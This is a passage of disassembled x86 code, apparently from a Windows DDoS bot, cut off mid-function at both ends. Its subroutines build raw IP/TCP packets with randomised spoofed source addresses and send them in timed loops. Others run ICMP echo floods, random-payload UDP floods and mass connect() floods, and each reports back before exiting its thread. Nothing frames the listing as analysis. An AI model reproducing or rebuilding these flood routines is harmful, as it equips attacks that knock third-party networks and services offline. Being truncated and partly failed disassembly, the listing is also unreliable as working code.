push esi ; Size push eax ; Src lea eax, [ebp+var_94] push eax ; Dst call _memcpy lea eax, [ebp+var_B4] push 34h push eax call sub_40B002 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_14] push esi ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40B002 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4E4284 ; sendto cmp eax, 0FFFFFFFFh jz short loc_4138B6 add [ebp+Str1], eax lea eax, [ebp+var_1C] push eax call ds:dword_4F643C ; QueryPerformanceCounter mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4138DF jl loc_413773 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4138DF jmp loc_413773 ; --------------------------------------------------------------------------- loc_4138B6: ; CODE XREF: sub_4135C1+2CBj call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44DC38 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_415C77 add esp, 10h jmp short loc_4138E2 ; --------------------------------------------------------------------------- loc_4138DF: ; CODE XREF: sub_4135C1+2E0j ; sub_4135C1+2EEj mov ebx, [ebp+Str1] loc_4138E2: ; CODE XREF: sub_4135C1+78j ; sub_4135C1+31Cj push [ebp+var_20] call dword_4E42B8 ; closesocket pop esi loc_4138EC: ; CODE XREF: sub_4135C1+5Bj call dword_4E4178 ; WSACleanup mov eax, ebx loc_4138F4: ; CODE XREF: sub_4135C1+3Bj pop edi pop ebx leave retn sub_4135C1 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4138F8(int,char *Str,char *Str1,int) sub_4138F8 proc near ; CODE XREF: sub_41350C+4Fp arg_0 = dword ptr 4 Str = dword ptr 8 Str1 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AE8D push [esp+10h+Str] ; Str mov esi, eax call _atoi push [esp+14h+arg_C] ; Str mov ebx, eax call _atoi mov edi, eax call _rand cdq mov ecx, 200h push edi ; int idiv ecx push ebx ; int push [esp+20h+Str1] ; Str1 lea eax, [edx+esi+100h] push eax ; int push esi ; int call sub_4135C1 add esp, 20h test eax, eax jnz short loc_413947 push 1 pop eax loc_413947: ; CODE XREF: sub_4138F8+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4138F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413956 proc near ; DATA XREF: sub_401CC7+6873o Dest = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h Str = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h Dst = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_4E42A0 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4139F1 call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44DC54 ; "-" push eax ; Dest call _sprintf xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4139D4 push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409D6C add esp, 14h loc_4139D4: ; CODE XREF: sub_413956+5Cj lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_38] call sub_40BAAA pop ecx pop ecx push edi call ds:dword_4F63D4 ; ExitThread loc_4139F1: ; CODE XREF: sub_413956+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_4E4200 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_413A68 call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44DC80 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_413A4B push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409D6C add esp, 14h loc_413A4B: ; CODE XREF: sub_413956+D3j lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_38] call sub_40BAAA pop ecx pop ecx push edi call ds:dword_4F63D4 ; ExitThread loc_413A68: ; CODE XREF: sub_413956+B3j lea eax, [ebp+var_1B8] push eax call dword_4E4260 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_413ACF lea eax, [ebp+Dest] push offset asc_44DCB0 ; "-" push eax ; Dest call _sprintf cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_413AB2 push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409D6C add esp, 14h loc_413AB2: ; CODE XREF: sub_413956+13Aj lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_38] call sub_40BAAA pop ecx pop ecx push edi call ds:dword_4F63D4 ; ExitThread loc_413ACF: ; CODE XREF: sub_413956+122j push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push edi call dword_4E4220 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_4E4260 ; inet_addr mov esi, ds:dword_4F63B0 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi ; GetTickCount mov [ebp+var_8], eax loc_413B0D: ; CODE XREF: sub_413956+2E8j call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_413CB8 push 41Ch mov byte_4E6FD8, 45h call dword_4E4220 ; htons cmp [ebp+var_2C], edi mov word_4E6FDA, ax mov word_4E6FDC, bx mov word_4E6FDE, di mov byte_4E6FE0, 80h mov byte_4E6FE1, bl mov word_4E6FE2, di jz short loc_413B93 call _rand mov ebx, eax shl ebx, 8 call _rand add ebx, eax shl ebx, 8 call _rand add ebx, eax shl ebx, 8 call _rand add ebx, eax push 1 mov dword_4E6FE4, ebx pop ebx jmp short loc_413BAB ; --------------------------------------------------------------------------- loc_413B93: ; CODE XREF: sub_413956+20Bj push [ebp+var_1BC] call sub_40AFA9 pop ecx push eax call dword_4E4260 ; inet_addr mov dword_4E6FE4, eax loc_413BAB: ; CODE XREF: sub_413956+23Bj mov eax, [ebp+var_18] mov dword_4E6FE8, eax call _rand cdq mov ecx, 100h idiv ecx mov byte_4E6FEC, dl call _rand cdq mov ecx, 100h idiv ecx mov byte_4E6FED, dl call _rand cdq mov ecx, 0F0h push 400h ; Size idiv ecx mov word_4E6FEE, di mov word_4E6FF2, bx inc edx mov word_4E6FF0, dx call _rand cdq mov ecx, 0FFh idiv ecx push edx ; Val push offset dword_4E6FF4 ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push 10h push eax push edi push 41Ch push offset byte_4E6FD8 push [ebp+var_4] call dword_4E4284 ; sendto cmp eax, 0FFFFFFFFh jz short loc_413C43 inc [ebp+arg_0] jmp loc_413B0D ; --------------------------------------------------------------------------- loc_413C43: ; CODE XREF: sub_413956+2E3j push [ebp+var_4] call dword_4E42B8 ; closesocket call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset asc_44DCD0 ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 18h cmp [ebp+var_24], edi jnz short loc_413C9B push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409D6C add esp, 14h loc_413C9B: ; CODE XREF: sub_413956+323j lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_38] call sub_40BAAA pop ecx pop ecx push edi call ds:dword_4F63D4 ; ExitThread loc_413CB8: ; CODE XREF: sub_413956+1C8j push [ebp+var_4] call dword_4E42B8 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+Dest] push offset asc_44DD18 ; "-" push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_413D20 push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409D6C add esp, 14h loc_413D20: ; CODE XREF: sub_413956+3A8j lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_38] call sub_40BAAA pop ecx pop ecx push edi call ds:dword_4F63D4 ; ExitThread sub_413956 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413D3D proc near ; DATA XREF: sub_401CC7+565Do var_10320 = byte ptr -10320h Dest = byte ptr -344h var_144 = dword ptr -144h Str = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h Dst = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_4E41A8 ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_4E4260 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_413D98 lea eax, [ebp+var_C0] push eax call dword_4E42A4 ; gethostbyname cmp eax, ebx jz short loc_413D9E loc_413D98: ; CODE XREF: sub_413D3D+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_413DFB loc_413D9E: ; CODE XREF: sub_413D3D+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+Dest] push offset asc_44DD64 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_413DDE push ebx ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_144] ; int call sub_409D6C add esp, 14h loc_413DDE: ; CODE XREF: sub_413D3D+7Fj lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_30] call sub_40BAAA pop ecx pop ecx push edi call ds:dword_4F63D4 ; ExitThread loc_413DFB: ; CODE XREF: sub_413D3D+5Fj cmp eax, ebx jz short loc_413E0B mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_413E0E ; --------------------------------------------------------------------------- loc_413E0B: ; CODE XREF: sub_413D3D+C0j mov [ebp+var_4], esi loc_413E0E: ; CODE XREF: sub_413D3D+CCj push 1Ch ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_413E2E mov [ebp+var_3C], eax loc_413E2E: ; CODE XREF: sub_413D3D+ECj cmp [ebp+var_38], edi jge short loc_413E36 mov [ebp+var_38], edi loc_413E36: ; CODE XREF: sub_413D3D+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_413E63 loc_413E3D: ; CODE XREF: sub_413D3D+124j push [ebp+var_38] lea eax, [ebp+Dst] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_4E4138 ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_413E3D loc_413E63: ; CODE XREF: sub_413D3D+FEj push [ebp+arg_0] call dword_4E42D8 ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+Dest] push offset asc_44DD8C ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_413EAC push ebx ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_144] ; int call sub_409D6C add esp, 14h loc_413EAC: ; CODE XREF: sub_413D3D+14Dj lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_30] call sub_40BAAA pop ecx pop ecx push ebx call ds:dword_4F63D4 ; ExitThread sub_413D3D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413EC9 proc near ; DATA XREF: sub_401CC7+58A9o var_10311 = byte ptr -10311h var_10310 = byte ptr -10310h Dest = byte ptr -334h var_134 = dword ptr -134h Str = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi call ds:dword_4F63B0 ; GetTickCount push eax ; Seed call _srand pop ecx push 11h push 2 push 2 call dword_4E42A0 ; socket mov ebx, eax xor edi, edi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+Dst], 2 push eax call dword_4E4260 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_413FAE lea eax, [ebp+var_B0] push eax call dword_4E42A4 ; gethostbyname cmp eax, edi jnz short loc_413FA7 lea eax, [ebp+var_B0] push eax lea eax, [ebp+Dest] push offset asc_44DDB8 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_413F8A push edi ; int lea eax, [ebp+Dest] push [ebp+var_1C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_134] ; int call sub_409D6C add esp, 14h loc_413F8A: ; CODE XREF: sub_413EC9+9Fj lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_20] call sub_40BAAA pop ecx pop ecx push esi call ds:dword_4F63D4 ; ExitThread loc_413FA7: ; CODE XREF: sub_413EC9+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_413FB1 ; --------------------------------------------------------------------------- loc_413FAE: ; CODE XREF: sub_413EC9+6Ej lea eax, [ebp+arg_0] loc_413FB1: ; CODE XREF: sub_413EC9+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_413FCC call _rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_413FCF ; --------------------------------------------------------------------------- loc_413FCC: ; CODE XREF: sub_413EC9+F0j push [ebp+var_24] loc_413FCF: ; CODE XREF: sub_413EC9+101j call dword_4E4220 ; htons cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_413FE1 mov [ebp+var_24], esi loc_413FE1: ; CODE XREF: sub_413EC9+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_413FEE mov [ebp+var_24], eax loc_413FEE: ; CODE XREF: sub_413EC9+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_414002 mov [ebp+var_28], esi loc_414002: ; CODE XREF: sub_413EC9+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_414023 loc_414009: ; CODE XREF: sub_413EC9+158j call _rand cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi+var_10311], dl jl short loc_414009 loc_414023: ; CODE XREF: sub_413EC9+13Ej ; sub_413EC9+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_414082 push 0Bh pop esi loc_414030: ; CODE XREF: sub_413EC9+197j lea eax, [ebp+Dst] push 10h push eax push edi call _rand push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_4E4284 ; sendto push [ebp+var_28] call ds:dword_4F6380 ; Sleep dec esi jnz short loc_414030 cmp [ebp+var_24], edi jnz short loc_414023 call _rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_4E4220 ; htons mov [ebp+var_E], ax jmp short loc_414023 ; --------------------------------------------------------------------------- loc_414082: ; CODE XREF: sub_413EC9+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+Dest] push offset asc_44DDE0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_4140C2 push edi ; int lea eax, [ebp+Dest] push [ebp+var_1C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_134] ; int call sub_409D6C add esp, 14h loc_4140C2: ; CODE XREF: sub_413EC9+1D7j lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_20] call sub_40BAAA pop ecx pop ecx push edi call ds:dword_4F63D4 ; ExitThread sub_413EC9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4140DF proc near ; DATA XREF: sub_401CC7+4EF4o Dest = byte ptr -414h var_214 = dword ptr -214h var_210 = dword ptr -210h var_190 = byte ptr -190h var_110 = dword ptr -110h Str = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax ; int lea eax, [ebp+var_190] push eax ; Str lea eax, [ebp+var_210] push eax ; int call sub_414240 add esp, 0Ch push eax lea eax, [ebp+Dest] push offset asc_44DE0C ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_41415F push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_214] ; int call sub_409D6C add esp, 14h loc_41415F: ; CODE XREF: sub_4140DF+5Ej lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_10] call sub_40BAAA pop ecx pop ecx push esi call ds:dword_4F63D4 ; ExitThread pop edi pop esi sub_4140DF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41417E proc near ; CODE XREF: sub_414240+27p var_654 = byte ptr -654h Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_4] call dword_4E4220 ; htons mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_41423C push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_4141C9: ; CODE XREF: sub_41417E+B9j lea esi, [ebp+var_654] mov ebx, edi loc_4141D1: ; CODE XREF: sub_41417E+7Aj push 0 push 1 push 2 call ds:dword_4F6570 ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_4141F4 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call ds:dword_4F6548 ; ioctlsocket loc_4141F4: ; CODE XREF: sub_41417E+64j add esi, 4 dec ebx jnz short loc_4141D1 lea esi, [ebp+var_654] mov ebx, edi loc_414202: ; CODE XREF: sub_41417E+96j lea eax, [ebp+Dst] push 10h push eax push dword ptr [esi] call ds:dword_4F6564 ; connect add esi, 4 dec ebx jnz short loc_414202 push 64h call ds:dword_4F6380 ; Sleep lea esi, [ebp+var_654] mov ebx, edi loc_414226: ; CODE XREF: sub_41417E+B4j push dword ptr [esi] call ds:dword_4F656C ; closesocket add esi, 4 dec ebx jnz short loc_414226 dec [ebp+arg_4] jnz short loc_4141C9 pop edi pop esi pop ebx loc_41423C: ; CODE XREF: sub_41417E+3Ej xor eax, eax leave retn sub_41417E endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_414240(int,char *Str,int) sub_414240 proc near ; CODE XREF: sub_4140DF+3Cp arg_0 = dword ptr 4 Str = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AE8D push [esp+10h+Str] ; Str mov edi, eax call _atoi push [esp+14h+arg_8] ; Str mov ebx, eax call _atoi mov esi, eax push esi push ebx push edi call sub_41417E add esp, 18h test eax, eax jnz short loc_414276 push 1 pop eax loc_414276: ; CODE XREF: sub_414240+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_414240 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414285 proc near ; DATA XREF: sub_401CC7+659Bo Dest = byte ptr -414h var_214 = dword ptr -214h var_210 = dword ptr -210h var_190 = byte ptr -190h var_110 = dword ptr -110h Str = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax ; int lea eax, [ebp+var_190] push eax ; Str lea eax, [ebp+var_210] push eax ; int call sub_4145D6 add esp, 0Ch push eax lea eax, [ebp+Dest] push offset asc_44DE38 ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_414305 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_214] ; int call sub_409D6C add esp, 14h loc_414305: ; CODE XREF: sub_414285+5Ej lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_10] call sub_40BAAA pop ecx pop ecx push esi call ds:dword_4F63D4 ; ExitThread pop edi pop esi sub_414285 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414324 proc near ; CODE XREF: sub_4145D6+3Cp var_284 = byte ptr -284h Dest = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch Src = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h Dst = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4E4190 ; WSAStartup test eax, eax jz short loc_414364 xor eax, eax jmp loc_4145D2 ; --------------------------------------------------------------------------- loc_414364: ; CODE XREF: sub_414324+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4E42C4 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_4145CA push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4E4200 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4145C0 push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_8] call dword_4E4220 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4E4220 ; htons push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4E4220 ; htons push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4E4220 ; htons mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call ds:dword_4F62F8 ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call ds:dword_4F643C ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call __allmul add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_41444F: ; CODE XREF: sub_414324+25Dj ; sub_414324+26Bj mov [ebp+var_24], bx call _rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4E4220 ; htons mov [ebp+var_34], ax call _rand mov edi, eax shl edi, 10h call _rand or edi, eax push edi call dword_4E4220 ; htons movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4E421C ; htonl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4E4220 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+Src], eax lea eax, [ebp+Src] push 20h ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_34] push edi ; Size push eax ; Src lea eax, [ebp+var_94] push eax ; Dst call _memcpy lea eax, [ebp+var_B4] push 34h push eax call sub_40B002 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_34] push edi ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+var_8C] push ebx ; Val push eax ; Dst call _memset add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40B002 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy add esp, 14h lea eax, [ebp+Dst] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4E4284 ; sendto cmp eax, 0FFFFFFFFh jz short loc_414594 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call ds:dword_4F643C ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_4145BD jl loc_41444F mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_4145BD jmp loc_41444F ; --------------------------------------------------------------------------- loc_414594: ; CODE XREF: sub_414324+247j call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44DE60 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_415C77 add esp, 10h jmp short loc_4145C0 ; --------------------------------------------------------------------------- loc_4145BD: ; CODE XREF: sub_414324+25Bj ; sub_414324+269j mov ebx, [ebp+arg_8] loc_4145C0: ; CODE XREF: sub_414324+78j ; sub_414324+297j push [ebp+var_C] call dword_4E42B8 ; closesocket pop esi loc_4145CA: ; CODE XREF: sub_414324+5Bj call dword_4E4178 ; WSACleanup mov eax, ebx loc_4145D2: ; CODE XREF: sub_414324+3Bj pop edi pop ebx leave retn sub_414324 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4145D6(int,char *Str,int) sub_4145D6 proc near ; CODE XREF: sub_414285+3Cp arg_0 = dword ptr 4 Str = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push 